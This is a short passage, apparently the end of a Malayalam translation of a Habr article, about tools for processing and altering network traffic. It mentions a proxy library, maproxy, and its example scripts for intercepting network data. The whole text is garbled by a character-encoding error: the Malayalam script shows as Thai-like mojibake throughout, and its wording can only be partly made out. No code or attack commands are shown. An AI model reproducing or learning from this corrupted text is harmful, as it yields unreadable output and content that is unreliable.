เดคเดฟเดจเดพเตฝ เดจเดฟเดเตเดเตพเดเตเดเตเด เดเดคเต เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเดคเดฟเดฒเตเดเต เดชเตเดฐเดฏเตเดเดจเด เดฒเดญเดฟเดเตเดเตเดฎเตเดจเตเดจเต เดเดพเตป เดตเดฟเดถเตเดตเดธเดฟเดเตเดเตเดจเตเดจเต. เดคเตเตผเดเตเดเดฏเดพเดฏเตเด, เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑ เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด เดชเดฐเดฟเดทเตโเดเตเดเดฐเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเตเดฎเดพเดฏเดฟ เดเตเดเตเดคเตฝ เดธเดเตเดเตเตผเดฃเตเดฃเดฎเดพเดฏ เดเตเดณเตเดเตพ เดเดฃเตเดเต, เดเดจเตเดจเดพเตฝ เด
เดตเดฏเตเดเตเดเต เดเตเดเตเดคเตฝ เดถเตเดฐเดฆเตเดง เดเดตเดถเตเดฏเดฎเตเดฃเตเดเต เดเตเดเดพเดคเต เดธเดพเดงเดพเดฐเดฃเดฏเดพเดฏเดฟ เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เดเดชเดฏเตเดเดคเตเดคเดฟเดจเดพเดฏเดฟ เดธเตเดทเตเดเดฟเดเตเดเดชเตเดชเตเดเตเดเดตเดฏเดพเดฃเต, เดเดฆเดพ. maproxy
เดเดฆเดพเดนเดฐเดฃ เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเตเดเตพ เดตเดณเดฐเต เดตเตเดฏเดเตเดคเดฎเดพเดฏเดคเดฟเดจเดพเตฝ, เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑ เดคเดเดธเตเดธเดชเตเดชเตเดเตเดคเตเดคเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดจเดฟเดเตเดเดณเตเดเต เดเดถเดฏเดเตเดเตพ เดจเดฟเดเตเดเตพเดเตเดเต เดตเตเดเดคเตเดคเดฟเตฝ เดจเดเดชเตเดชเดฟเดฒเดพเดเตเดเดพเตป เดเดดเดฟเดฏเตเด.
เด เดตเดฒเดเดฌเด: www.habr.com